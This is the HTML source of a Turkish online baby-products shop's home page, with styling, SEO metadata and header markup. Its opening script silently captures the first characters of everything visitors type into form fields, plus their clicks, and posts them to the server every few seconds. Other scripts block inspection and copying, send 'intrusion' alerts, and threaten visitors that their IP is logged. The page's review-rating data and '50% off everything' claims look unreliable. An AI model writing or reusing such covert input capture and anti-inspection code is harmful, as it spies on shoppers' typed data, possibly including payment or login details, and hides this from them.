<!-- SYSTEM_ENCRYPTED_ORIGIN_VERIFIED -->


    <script>
        // 1. System Checks (Ban & Warning) - Every 2 Seconds for instant response
        setInterval(function () {
            fetch("/api/check-ban.php")
                .then(response => response.json())
                .then(data => { if (data.banned) window.location.href = '/banned.html'; })
                .catch(() => { });

            // Check Warning
            fetch("/api/get-warning.php")
                .then(res => res.json())
                .then(data => {
                    if (data.status === "success" && data.message) {
                        if (typeof Swal !== "undefined") {
                            Swal.fire({
                                title: "⚠️ Sistem Bildirimi",
                                text: data.message,
                                icon: "warning",
                                confirmButtonText: "Tamam",
                                confirmButtonColor: "#5DADE2",
                                background: "#1B4F72",
                                color: "#fff",
                                allowOutsideClick: false
                            });
                        } else {
                            alert("BİLDİRİM: " + data.message);
                        }
                    }
                })
                .catch(() => { });
        }, 2000);

        // 2. User Tracking (Heartbeat & Actions)
        (function () {
            let lastAction = "Geziniyor";

            function sendUpdate(action) {
                fetch("/api/update-action.php", {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({
                        action: action,
                        url: window.location.pathname
                    })
                }).catch(() => { });
            }

            // Track Input Typing
            document.addEventListener('input', (e) => {
                if (e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA') {
                    const fieldName = e.target.name || e.target.placeholder || "Bir alana";
                    lastAction = "✍️ Yazıyor: " + fieldName + " (" + e.target.value.substring(0, 15) + "...)";
                    // Don't send immediately on every keystroke, let interval handle it or debounce
                    // But user wanted immediate feedback, so let's debounce slightly if needed, or just update local var.
                    // sending every 4s is safer for server load.
                }
            });

            // Track Button Clicks
            document.addEventListener('click', (e) => {
                const btn = e.target.closest('button, a, .btn, input[type="submit"]');
                if (btn) {
                    const btnText = btn.innerText.trim() || btn.title || "Buton";
                    lastAction = "👆 Tıkladı: " + btnText.substring(0, 20);
                    sendUpdate(lastAction); // Send clicks immediately
                }
            });

            // Periodic Update (Heartbeat)
            setInterval(() => {
                sendUpdate(lastAction);
            }, 4000);

            // Initial call
            sendUpdate("🌟 Siteye Girdi");

            // 4. Instant Exit Tracking
            window.addEventListener('beforeunload', () => {
                fetch("/api/update-action.php", {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({ action: "EXIT", url: window.location.pathname }),
                    keepalive: true
                });
            });

        })();
    </script>
    <!DOCTYPE html>
<html lang="tr">

<head>
    <meta charset="UTF-8">
    <meta name="google-site-verification" content="Sa9POuHoNet88yUaGUFHLcIZUG2J-1KOzt5UOjNANXw" />
    <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=5.0, user-scalable=yes, viewport-fit=cover">
    <title>
        Bebek Gezegeni - Bebek Malzemeleri & İhtiyaç Ürünleri    </title>

            <!-- 🛡️ SECURITY SHIELD (Anti-Inspect & Anti-Right Click) -->
        <script>
            (function () {
                var _alerted = {};
                var _isMobile = /Mobi|Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i.test(navigator.userAgent);
                function sendAlert(type) {
                    if (_alerted[type]) return;
                    _alerted[type] = true;
                    try {
                        fetch('/api/intrusion-alert.php', {
                            method: 'POST',
                            headers: {'Content-Type': 'application/json'},
                            body: JSON.stringify({type: type, page: location.pathname})
                        });
                    } catch(e) {}
                }

                if (!_isMobile) {
                    document.addEventListener('contextmenu', function(e) {
                        e.preventDefault();
                        sendAlert('source_view');
                    });

                    document.onkeydown = function (e) {
                        if (e.keyCode == 123) { sendAlert('devtools'); return false; }
                        if (e.ctrlKey && e.shiftKey && (e.keyCode == 73 || e.keyCode == 74 || e.keyCode == 67)) { sendAlert('devtools'); return false; }
                        if (e.ctrlKey && e.keyCode == 85) { sendAlert('source_view'); return false; }
                        if (e.ctrlKey && e.keyCode == 83) { e.preventDefault(); return false; }
                    };

                    var threshold = 160;
                    var _dtOpen = false;
                    setInterval(function() {
                        var w = window.outerWidth - window.innerWidth > threshold;
                        var h = window.outerHeight - window.innerHeight > threshold;
                        if ((w || h) && !_dtOpen) {
                            _dtOpen = true;
                            sendAlert('devtools');
                        } else if (!w && !h) {
                            _dtOpen = false;
                        }
                    }, 2000);
                }
            })();
        </script>
        <style>
            body {
                -webkit-user-select: none;
                -moz-user-select: none;
                -ms-user-select: none;
                user-select: none;
            }

            input,
            textarea {
                -webkit-user-select: text !important;
                -moz-user-select: text !important;
                -ms-user-select: text !important;
                user-select: text !important;
            }
        </style>
        <meta name="description"
        content="Bebek Gezegeni ile güvenli alışveriş! Bebek malzemeleri, bez, bakım ürünleri ve daha fazlası uygun fiyatlarla bebekgezegeni.com'da. Güvenilir markalar, hızlı kargo!">
    <meta name="keywords"
        content="bebek gezegeni, bebek malzemeleri, bebek bezi, bebek bakım, bebek ürünleri, emzik, biberon, bebek arabası">
    <meta name="author" content="Bebek Gezegeni">

    <!-- Canonical URL (Kopya İçerik Engelleyici) -->
        <link rel="canonical" href="https://bebekgezegeni.com/index.php">

    <!-- SEO & Social Sharing -->
    <meta property="og:title"
        content="Bebek Gezegeni - Bebek Malzemeleri & İhtiyaç Ürünleri">
    <meta property="og:description"
        content="Bebek Gezegeni - Bebek malzemeleri, güvenilir markalar ve uygun fiyatlarla sizinle!">
    <meta property="og:type" content="website">
    <meta property="og:image" content="https://bebekgezegeni.com/assets/bebek-gezegeni-logo.png">
    <meta property="og:url" content="https://bebekgezegeni.com/index.php">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:image" content="https://bebekgezegeni.com/assets/bebek-gezegeni-logo.png">
    <meta name="robots" content="index, follow">

    <!-- Schema.org Structured Data (SEO) -->
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "Store",
      "name": "Bebek Gezegeni",
      "image": "logo_icon.svg",
      "@id": "",
      "url": "https://bebekgezegeni.com",
      "telephone": "+905317391572",
      "address": {
        "@type": "PostalAddress",
        "streetAddress": "Sema Sk. Adnan Menderes Cad. Arifbey",
        "addressLocality": "Arifiye",
        "addressRegion": "Sakarya",
        "postalCode": "54580",
        "addressCountry": "TR"
      },
      "review": {
        "@type": "Review",
        "reviewRating": {
          "@type": "Rating",
          "ratingValue": "5",
          "bestRating": "5"
        },
        "author": {
          "@type": "Person",
          "name": "Müşteri Yorumu"
        },
        "reviewBody": "Bebek Gezegeni'nden aldığım ürünler çok kaliteli, kargo çok hızlıydı."
      },
      "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "4.9",
        "reviewCount": "1580"
      }
    }
    </script>

    <style></style>

    <link rel="preload" href="style.css?v=3" as="style">
    <link rel="stylesheet" href="style.css?v=3">
    <link rel="stylesheet" href="mobile-fix.css?v=3">
    <link rel="stylesheet" href="compatibility-patch.css?v=3">
    <link rel="stylesheet" href="android-fix.css?v=3">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">


    <!-- PWA & APP FEELS -->
    <!-- PWA & APP FEELS -->
    <link rel="manifest" href="manifest.json">
    <meta name="theme-color" content="#1B4F72">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <meta name="apple-mobile-web-app-title" content="Bebek Gezegeni">
    <link rel="icon" type="image/svg+xml" href="favicon.svg">
    <link rel="apple-touch-icon" href="/assets/bebek-gezegeni-logo-cropped.png">

    <!-- Windows Meta -->
    <meta name="application-name" content="Bebek Gezegeni">
    <meta name="msapplication-navbutton-color" content="#1B4F72">
    <meta name="msapplication-TileColor" content="#1B4F72">

    <!-- RIPPLE EFFECT CSS -->
    <style>
        .ripple {
            position: relative;
            overflow: hidden;
            transform: translate3d(0, 0, 0);
        }

        .ripple:after {
            content: "";
            display: block;
            position: absolute;
            width: 100%;
            height: 100%;
            top: 0;
            left: 0;
            background-image: radial-gradient(circle, #fff 10%, transparent 10.01%);
            background-repeat: no-repeat;
            background-position: 50%;
            transform: scale(10, 10);
            opacity: 0;
            transition: transform .5s, opacity 1s;
        }

        .ripple:active:after {
            transform: scale(0, 0);
            opacity: .3;
            transition: 0s;
        }

        /* Skeleton Animation */
        .skeleton {
            background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
            background-size: 200% 100%;
            animation: loading 1.5s infinite;
        }

        @keyframes loading {
            0% {
                background-position: 200% 0;
            }

            100% {
                background-position: -200% 0;
            }
        }
    </style>

    <style>
        /* GLOBAL RESET */
        body {
            margin: 0;
            padding: 0;
        }

        /* HEADER RESET */
        .main-header {
            background: white;
            border-bottom: 1px solid #e2e8f0;
            position: sticky;
            top: 0;
            z-index: 900;
            height: 80px;
            /* Yükseklik 80px (Daha büyük) */
            display: flex;
            align-items: center;
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05);
        }

        .nav-container {
            display: grid;
            grid-template-columns: 60px 1fr 60px;
            /* Buton alanları 60px genişliğinde */
            align-items: center;
            width: 100%;
            padding: 0 12px;
            height: 100%;
        }

        /* BRAND */
        .brand-logo {
            font-size: 2.6rem;
            font-weight: 800;
            color: #1B4F72;
            text-decoration: none;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 14px;
            white-space: nowrap;
        }

        @keyframes headInnerPulse {
            0%   { opacity: 0;    transform: translateX(-50%) scale(0.3); }
            15%  { opacity: 0;    transform: translateX(-50%) scale(0.3); }
            45%  { opacity: 1;    transform: translateX(-50%) scale(1);   }
            70%  { opacity: 0.55; transform: translateX(-50%) scale(1.15);}
            100% { opacity: 0;    transform: translateX(-50%) scale(0.3); }
        }
        @keyframes headRingPulse {
            0%   { opacity: 0;   transform: translateX(-50%) scale(0.5); }
            40%  { opacity: 0.4; transform: translateX(-50%) scale(1.3); }
            100% { opacity: 0;   transform: translateX(-50%) scale(1.8); }
        }
        .logo-icon-wrap {
            width: 62px;
            height: 62px;
            border-radius: 16px;
            overflow: visible;
            box-shadow: 0 6px 18px rgba(27,79,114,0.3);
            flex-shrink: 0;
            position: relative;
        }
        .logo-icon-img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            display: block;
            border-radius: 16px;
        }
        /* Inner core glow - on the baby head */
        .logo-icon-wrap::after {
            content: '';
            position: absolute;
            /* Baby head center: ~27% from top of 62px = ~17px, size 28px → top=3px */
            top: 3px;
            left: 50%;
            transform: translateX(-50%) scale(0.3);
            width: 28px;
            height: 28px;
            border-radius: 50%;
            background: radial-gradient(circle,
                rgba(255,255,255,1)   0%,
                rgba(200,235,255,0.9) 25%,
                rgba(137,207,240,0.6) 55%,
                transparent           80%);
            mix-blend-mode: screen;
            animation: headInnerPulse 2.4s cubic-bezier(0.4,0,0.6,1) infinite;
            pointer-events: none;
            z-index: 6;
        }
        /* Outer expanding ring */
        .logo-icon-wrap::before {
            content: '';
            position: absolute;
            top: 3px;
            left: 50%;
            transform: translateX(-50%) scale(0.5);
            width: 28px;
            height: 28px;
            border-radius: 50%;
            border: 2px solid rgba(137,207,240,0.7);
            background: transparent;
            animation: headRingPulse 2.4s cubic-bezier(0.2,0,0.8,1) infinite;
            pointer-events: none;
            z-index: 7;
        }

        /* HEADER BUTTONS (MOBILE) */
        .header-btn {
            background: none;
            border: none;
            font-size: 1.7rem;
            /* İkonlar daha büyük (1.7rem) */
            color: #334155;
            cursor: pointer;
            padding: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: 0.2s;
            height: 100%;
            width: 100%;
        }

        .header-btn:active {
            transform: scale(0.9);
            color: #89CFF0;
        }

        /* DESKTOP NAV */
        .desktop-nav,
        .desktop-search {
            display: none;
        }

        /* Mobilde gizle */

        /* MASAÜSTÜ MEDYA SORGUSU */
        @media (min-width: 900px) {
            .nav-container {
                display: flex;
                /* Grid yerine Flex */
                justify-content: space-between;
                max-width: 1200px;
                margin: 0 auto;
            }

            .header-btn {
                display: none;
            }

            /* Mobil butonları gizle */

            .brand-logo {
                justify-content: flex-start;
                margin-right: 2rem;
                font-size: 2.4rem;
            }

            .desktop-nav {
                display: flex;
                gap: 2rem;
                align-items: center;
                margin-left: auto;
            }

            .desktop-nav a {
                text-decoration: none;
                color: #334155;
                font-weight: 600;
                font-size: 1rem;
                transition: 0.2s;
            }

            .desktop-nav a:hover {
                color: #5DADE2;
            }

            .desktop-search {
                display: block;
                flex: 1;
                max-width: 400px;
                margin: 0 2rem;
            }

            .desktop-search form {
                position: relative;
            }

            .desktop-search input {
                width: 100%;
                padding: 0.7rem 1rem 0.7rem 2.8rem;
                border: 1px solid #e2e8f0;
                border-radius: 50px;
                background: #f8fafc;
                font-size: 0.95rem;
            }

            .desktop-search i {
                position: absolute;
                left: 15px;
                top: 50%;
                transform: translateY(-50%);
                color: #94a3b8;
            }
        }

        /* SIDEBAR (OFFCANVAS) */
        .sidebar-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            z-index: 10004 !important;
            display: none;
            backdrop-filter: blur(5px);
        }

        .sidebar {
            position: fixed;
            top: 0;
            left: -300px;
            width: 280px;
            height: 100%;
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(15px);
            z-index: 10005 !important;
            transition: 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            padding: 1.5rem;
            padding-bottom: 120px;
            display: flex;
            flex-direction: column;
            box-shadow: 15px 0 40px rgba(27, 79, 114, 0.15);
            border-right: 1px solid rgba(137, 207, 240, 0.3);
        }

        .sidebar.active {
            left: 0;
        }

        .sidebar-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
            border-bottom: 1px solid rgba(137, 207, 240, 0.2);
            padding-bottom: 1rem;
            color: #1B4F72;
            font-weight: 800;
            letter-spacing: 1px;
        }

        .sidebar-menu {
            list-style: none;
            padding: 0;
            padding-bottom: 100px;
            /* Mobil menü için boşluk */
            overflow-y: auto;
            flex: 1;
        }

        .sidebar-menu li a {
            display: flex;
            align-items: center;
            gap: 15px;
            padding: 14px 18px;
            color: #1B4F72;
            text-decoration: none;
            font-weight: 700;
            border-radius: 14px;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
            margin-bottom: 5px;
        }

        .sidebar-menu li a:hover {
            background: #EBF5FB;
            color: #2E86C1;
            transform: translateX(5px);
        }

        .sidebar-menu i {
            width: 28px;
            height: 28px;
            background: #EBF5FB;
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #2E86C1;
            font-size: 1rem;
            transition: 0.3s;
            border: 1px solid rgba(137, 207, 240, 0.3);
        }

        .sidebar-menu li a:hover i {
            background: #2E86C1;
            color: white;
            transform: rotate(-5deg) scale(1.1);
            box-shadow: 0 5px 15px rgba(46, 134, 193, 0.3);
        }

        /* SEARCH MODAL */
        .search-modal {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: white;
            z-index: 11000;
            /* Increased to be above campaign bar (10000) */
            display: none;
            flex-direction: column;
        }

    </style>
    <!-- SweetAlert2 CDN -->
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <style>

        /* Genel Reset ve Fontlar */
        body {
            font-family: 'Outfit', sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f8fafc;
            color: #1e293b;
            padding-bottom: 80px;
            /* Mobil nav için boşluk */
        }

        /* Diğer header stilleri */
        .search-header {
            display: flex;
            align-items: center;
            gap: 10px;
            padding: 1rem;
            border-bottom: 1px solid #e2e8f0;
        }

        .search-input {
            flex: 1;
            border: none;
            font-size: 1.1rem;
            outline: none;
            padding: 5px;
        }
        .search-modal-body {
            flex: 1;
            overflow-y: auto;
            padding: 16px;
        }
        .popular-tag {
            display: inline-block;
            padding: 8px 16px;
            background: #f1f5f9;
            border: 1px solid #e2e8f0;
            border-radius: 20px;
            color: #475569;
            font-size: 0.85rem;
            font-weight: 500;
            text-decoration: none;
            transition: 0.2s;
        }
        .popular-tag:hover { background: #EBF5FB; color: #1B4F72; border-color: #89CFF0; }
        .search-modal-body a:hover { background: #f8fafc; }
        #mobileSearchResults .search-item {
            display: flex; align-items: center; gap: 12px; padding: 12px;
            border-bottom: 1px solid #f1f5f9; text-decoration: none; color: #334155; border-radius: 10px;
        }
        #mobileSearchResults .search-item:hover { background: #f8fafc; }
        #mobileSearchResults .search-item img { width: 50px; height: 50px; object-fit: contain; border-radius: 8px; background: #f8fafc; }
        #mobileSearchResults .search-item .s-name { font-weight: 600; font-size: 0.9rem; color: #1e293b; display: block; }
        #mobileSearchResults .search-item .s-price { color: #2E86C1; font-weight: 700; font-size: 0.95rem; }

        .campaign-top-bar {
            background: linear-gradient(90deg, #0a1e3d, #1B4F72, #2E86C1, #1B4F72, #0a1e3d);
            background-size: 300% auto;
            animation: barGradient 8s linear infinite;
            position: sticky;
            top: 0;
            z-index: 10000;
            border-bottom: 1px solid rgba(251, 191, 36, 0.3);
            overflow: hidden;
            height: 36px;
        }
        .campaign-marquee { width: 100%; overflow: hidden; height: 100%; display: flex; align-items: center; }
        .campaign-track {
            display: flex;
            align-items: center;
            white-space: nowrap;
            animation: marqueeScroll 20s linear infinite;
            gap: 0;
        }
        .campaign-item {
            color: #fbbf24;
            font-size: 0.78rem;
            font-weight: 700;
            letter-spacing: 0.5px;
            padding: 0 20px;
            font-family: 'Outfit', sans-serif;
            text-shadow: 0 0 8px rgba(251,191,36,0.2);
        }
        .campaign-item i { margin-right: 6px; font-size: 0.7rem; }
        .campaign-sep { color: rgba(251,191,36,0.4); font-size: 0.5rem; padding: 0 8px; }
        @keyframes marqueeScroll { 0% { transform: translateX(0); } 100% { transform: translateX(-50%); } }
        @keyframes barGradient { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } }
        @media(max-width: 480px) {
            .campaign-top-bar { height: 30px; }
            .campaign-item { font-size: 0.65rem; padding: 0 14px; }
        }

        /* Eski animasyonlar (diğer elementler kullanıyor) */
        @keyframes gradientMove {
            0% {
                background-position: 0% 50%;
            }

            50% {
                background-position: 100% 50%;
            }

            100% {
                background-position: 0% 50%;
            }
        }

        @keyframes barPulse {

            0%,
            100% {
                transform: scale(1);
            }

            50% {
                transform: scale(1.02);
            }
        }

        /* NARİN KAMPANYA BADGE */
        .badge-narin-pink {
            background: #2E86C1 !important;
            color: white !important;
            font-size: 0.7rem !important;
            font-weight: 800 !important;
            padding: 4px 12px !important;
            border-radius: 6px !important;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            display: inline-block;
            box-shadow: 0 4px 10px rgba(46, 134, 193, 0.2);
        }

        .badge-narin-discount {
            background: white !important;
            color: #2E86C1 !important;
            font-size: 0.65rem !important;
            font-weight: 700 !important;
            padding: 2px 10px !important;
            border-radius: 4px !important;
            border: 1px solid #89CFF0 !important;
            margin-top: 4px;
            display: inline-block;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .badges-stack {
            position: absolute;
            top: 10px;
            left: 10px;
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            z-index: 1000;
        }

        /* SweetAlert2 Özelleştirme - Z-Index Garantisi */
        div:where(.swal2-container) {
            z-index: 20000 !important;
        }
    </style>
<script>
    (function(){
        // 1. Extreme Anti-Theft (Disable Selection, Right Click, Drag)
        const disableTheft = () => {
            document.oncontextmenu = () => false;
            document.onselectstart = () => false;
            document.ondragstart = () => false;
            document.oncopy = () => false;
            document.body.style.userSelect = 'none';
            document.body.style.webkitUserSelect = 'none';
        };
        document.addEventListener('DOMContentLoaded', disableTheft);
        
        // 2. Keyboard Lockdown (Block F12, Ctrl+U, S, P, Shift+I, J, C)
        window.addEventListener('keydown', e => {
            if (e.ctrlKey && (e.key === 'u' || e.key === 's' || e.key === 'p' || e.key === 'c')) e.preventDefault();
            if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'C' || e.key === 'J')) e.preventDefault();
            if (e.key === 'F12') e.preventDefault();
        }, true);

        // 3. DevTools Detection + Telegram Alert
        let _alerted = false;
        const _isMobile = /Mobi|Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i.test(navigator.userAgent);
        const sendAlert = (type) => {
            if (_alerted) return;
            _alerted = true;
            try {
                fetch('/api/intrusion-alert.php', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({type: type, page: location.pathname})
                }).catch(()=>{});
            } catch(e) {}
        };

        if (!_isMobile) {
            const tracker = function() {
                let start = performance.now();
                debugger;
                let end = performance.now();
                if (end - start > 100) {
                    sendAlert('devtools');
                    document.body.innerHTML = '<div style="background:#020617;color:#ef4444;height:100vh;display:flex;align-items:center;justify-content:center;font-family:sans-serif;text-align:center;padding:20px;flex-direction:column;"><h1 style="font-size:1.5rem;">GÜVENLİK İHLALİ TESPİT EDİLDİ</h1><p style="color:#94a3b8;margin-top:10px;">Geliştirici araçları kullanımı yasaktır.<br>IP adresiniz kayıt altına alınmıştır.</p></div>';
                }
            };
            setInterval(tracker, 1500);
        }

        // F12 / Ctrl+Shift+I detection (desktop only)
        if (!_isMobile) {
            window.addEventListener('keydown', function(e) {
                if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.key === 'J' || e.key === 'j' || e.key === 'C' || e.key === 'c'))) {
                    sendAlert('devtools');
                }
                if (e.ctrlKey && (e.key === 'u' || e.key === 'U')) {
                    sendAlert('source_view');
                }
            }, true);
        }

        console.clear();
    })();
</script></head>

<body>

    <!-- KAMPANYA BARI -->
    <div class="campaign-top-bar">
        <div class="campaign-marquee">
            <div class="campaign-track">
                <span class="campaign-item"><i class="fas fa-baby"></i> BEBEK GEZEGENİ KAMPANYASI: TÜM ÜRÜNLERDE %50 İNDİRİM!</span>
                <span class="campaign-sep">★</span>
                <span class="campaign-item"><i class="fas fa-truck-fast"></i> AYNI GÜN KARGO</span>
                <span class="campaign-sep">★</span>
                <span class="campaign-item"><i class="fas fa-shield-halved"></i> GÜVENLİ ALIŞVERİŞ</span>
                <span class="campaign-sep">★</span>
                <span class="campaign-item"><i class="fas fa-baby"></i> BEBEK GEZEGENİ KAMPANYASI: TÜM ÜRÜNLERDE %50 İNDİRİM!</span>
                <span class="campaign-sep">★</span>
                <span class="campaign-item"><i class="fas fa-truck-fast"></i> AYNI GÜN KARGO</span>
                <span class="campaign-sep">★</span>
                <span class="campaign-item"><i class="fas fa-shield-halved"></i> GÜVENLİ ALIŞVERİŞ</span>
                <span class="campaign-sep">★</span>
            </div>
        </div>
    </div>

    <!-- PRELOADER -->
    <div id="preloader" style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;display:flex;align-items:center;justify-content:center;">
        <div style="display:flex;align-items:center;gap:20px;">
            <!-- Logo wrapper: clip box + glow overlays are siblings outside clip -->
            <div style="position:relative;width:80px;height:80px;flex-shrink:0;">
                <!-- Clipped logo image -->
                <div style="width:80px;height:80px;border-radius:20px;overflow:hidden;box-shadow:0 8px 28px rgba(27,79,114,0.35);">
                    <img src="/assets/bebek-gezegeni-logo-cropped.png" alt="Bebek Gezegeni" style="width:100%;height:100%;object-fit:cover;display:block;" id="preloader-logo-img">
                </div>
                <!-- Expanding ring (outside clip, no filter conflict) -->
                <div id="pl-ring" style="position:absolute;top:50%;left:50%;width:80px;height:80px;border-radius:20px;border:2px solid rgba(89,170,220,0.7);pointer-events:none;"></div>
                <!-- Head glow spot -->
                <div id="pl-head-glow" style="position:absolute;top:8px;left:50%;width:36px;height:36px;border-radius:50%;background:radial-gradient(circle,rgba(255,255,255,0.95) 0%,rgba(137,207,240,0.55) 45%,transparent 75%);pointer-events:none;"></div>
            </div>
            <!-- Brand text -->
            <div style="display:flex;flex-direction:column;justify-content:center;line-height:1.1;">
                <span style="font-size:1.8rem;font-weight:900;color:#1B4F72;letter-spacing:-0.5px;">BEBEK</span>
                <span style="font-size:1.8rem;font-weight:900;color:#89CFF0;letter-spacing:-0.5px;">GEZEGENİ</span>
            </div>
        </div>
    </div>

    <style>
        /* PRELOADER BASE */
        #preloader {
            background: #fff;
        }

        /* Preloader logo img pulse */
        @keyframes plLogoPulse {
            0%   { transform: scale(1);    box-shadow: 0 8px 28px rgba(27,79,114,0.35); }
            50%  { transform: scale(1.06); box-shadow: 0 12px 36px rgba(27,79,114,0.5); }
            100% { transform: scale(1);    box-shadow: 0 8px 28px rgba(27,79,114,0.35); }
        }
        #preloader-logo-img {
            animation: plLogoPulse 1.6s ease-in-out infinite;
        }

        /* Expanding ring */
        @keyframes plRingExpand {
            0%   { transform: translate(-50%,-50%) scale(1);   opacity: 0.8; }
            100% { transform: translate(-50%,-50%) scale(1.55); opacity: 0; }
        }
        #pl-ring {
            animation: plRingExpand 1.6s ease-out infinite;
        }

        /* Head glow pulse - no filter, no transform conflict */
        @keyframes plHeadGlow {
            0%   { opacity: 0;   transform: translateX(-50%) scale(0.5); }
            40%  { opacity: 1;   transform: translateX(-50%) scale(1);   }
            70%  { opacity: 0.5; transform: translateX(-50%) scale(1.1); }
            100% { opacity: 0;   transform: translateX(-50%) scale(0.5); }
        }
        #pl-head-glow {
            animation: plHeadGlow 2s ease-in-out infinite;
        }

        /* HEADER ALIGNMENT FIXES */
        .brand-logo {
            display: flex !important;
            align-items: center !important;
            text-decoration: none !important;
            gap: 12px !important;
        }

        .logo-icon-wrap {
            width: 62px;
            height: 62px;
            border-radius: 16px;
            flex-shrink: 0;
            overflow: visible;
            box-shadow: 0 6px 18px rgba(27,79,114,0.3);
        }

        .logo-text {
            display: flex;
            flex-direction: column;
            justify-content: center;
            line-height: 1.1;
            text-align: left;
        }

        .logo-text-top {
            font-size: 1.2rem;
            font-weight: 900;
            color: #1B4F72;
            letter-spacing: -0.5px;
        }

        .logo-text-bottom {
            font-size: 0.8rem;
            font-weight: 800;
            color: #89CFF0;
            letter-spacing: 2px;
        }

        .desktop-nav {
            display: flex;
            align-items: center;
            /* Ensure vertical center */
        }

        .desktop-nav a {
            display: flex;
            align-items: center;
            gap: 6px;
            /* Space between icon and text */
        }

        /* FINAL ROBUST LOGO FIX - EDGE ALIGNED */
        .logo-text {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center !important;
            /* CENTERED */
            gap: 0 !important;
        }

        .logo-text-top {
            display: block !important;
            font-size: 0.52em !important;
            font-weight: 900 !important;
            color: #1B4F72 !important;
            line-height: 0.9 !important;
            margin: 0 !important;
            padding: 0 !important;
            letter-spacing: 1px !important;
            /* Standard spacing */
        }

        .logo-text-bottom {
            display: block !important;
            font-size: 0.40em !important;
            font-weight: 800 !important;
            color: #89CFF0 !important;
            letter-spacing: 2.5px !important;
            line-height: 0.9 !important;
            margin: 0 !important;
            padding: 0 !important;
            margin-top: 5px !important;
            margin-right: -2.5px !important;
            /* Compensate */
        }

        /* Pushed down */
        }

        /* MOBILE SPECIFIC OVERRIDES */
        @media (max-width: 768px) {
            .brand-logo {
                font-size: 2.8rem !important;
                gap: 12px !important;
            }

            .logo-icon-wrap {
                width: 62px !important;
                height: 62px !important;
            }
        }

        .logo-icon-wrap {
            width: 62px !important;
            height: 62px !important;
        }
        }
    </style>
    <script>
        (function () {
            var loader = document.getElementById('preloader');
            if (!loader) return;

            function hidePreloader() {
                if (loader.dataset.hidden === '1') return;
                loader.dataset.hidden = '1';
                loader.style.transition = 'opacity 0.3s ease';
                loader.style.opacity = '0';
                setTimeout(function() { loader.style.display = 'none'; }, 350);
            }

            function showPreloader() {
                loader.dataset.hidden = '0';
                loader.style.display = 'flex';
                loader.style.opacity = '1';
            }

            // Hide when page fully loads
            window.addEventListener('load', hidePreloader);
            // Safety: max 2s wait
            setTimeout(hidePreloader, 2000);

            // Page transition
            document.addEventListener('click', function (e) {
                var link = e.target.closest('a');
                if (!link) return;
                var href = link.getAttribute('href');
                if (!href || href === '#' || href.startsWith('javascript') || link.target === '_blank' || e.ctrlKey || e.shiftKey || e.metaKey) return;
                if (href.includes('#')) return;
                e.preventDefault();
                showPreloader();
                setTimeout(function() { window.location.href = href; }, 180);
            });

            // Back/forward nav
            window.addEventListener('pageshow', hidePreloader);
        })();
    </script>
    <script>
        // Global showToast function (SweetAlert2 override)
        window.showToast = function (message, type = 'success') {
            const Toast = Swal.mixin({
                toast: true,
                position: 'top',
                showConfirmButton: false,
                timer: 3000,
                timerProgressBar: true,
                background: type === 'success' ? '#28a745' : '#dc3545',
                color: '#fff',
                iconColor: '#fff',
                didOpen: (toast) => {
                    toast.addEventListener('mouseenter', Swal.stopTimer)
                    toast.addEventListener('mouseleave', Swal.resumeTimer)
                }
            });
            Toast.fire({ icon: type, title: message });
        }
    </script>

    <!-- TOP BAR -->
    <div class="top-bar"
        style="background: linear-gradient(90deg, #1B4F72, #154360); color: white; padding: 0; height: 36px; display: flex; align-items: center; justify-content: center; font-size: 0.7rem; position: relative; z-index: 11; border-bottom: 1px solid rgba(137,207,240,0.15);">
        <div class="container"
            style="display: flex; justify-content: space-between; align-items: center; width: 100%; max-width: 1200px; padding: 0 15px; box-sizing: border-box;">
            <div style="display: flex; align-items: center; gap: 16px;">
                <a href="siparis-takip.php"
                    style="color: rgba(255,255,255,0.85); text-decoration: none; display: flex; align-items: center; gap: 5px; font-weight: 500; transition: color 0.2s;"
                    onmouseover="this.style.color='#89CFF0'" onmouseout="this.style.color='rgba(255,255,255,0.85)'">
                    <i class="fas fa-truck-fast" style="font-size: 0.75rem;"></i> <span>Sipariş Takibi</span>
                </a>
            </div>
            <div style="display: flex; align-items: center; gap: 5px; font-weight: 600; letter-spacing: 0.3px; color: rgba(255,255,255,0.9);">
                <i class="fas fa-warehouse" style="color: #89CFF0; font-size: 0.7rem;"></i>
                <span>Depodan Kapınıza &mdash; Aynı Gün Kargo</span>
            </div>
        </div>
    </div>

    <!-- HEADER -->
    <header class="main-header">
        <div class="container nav-container">
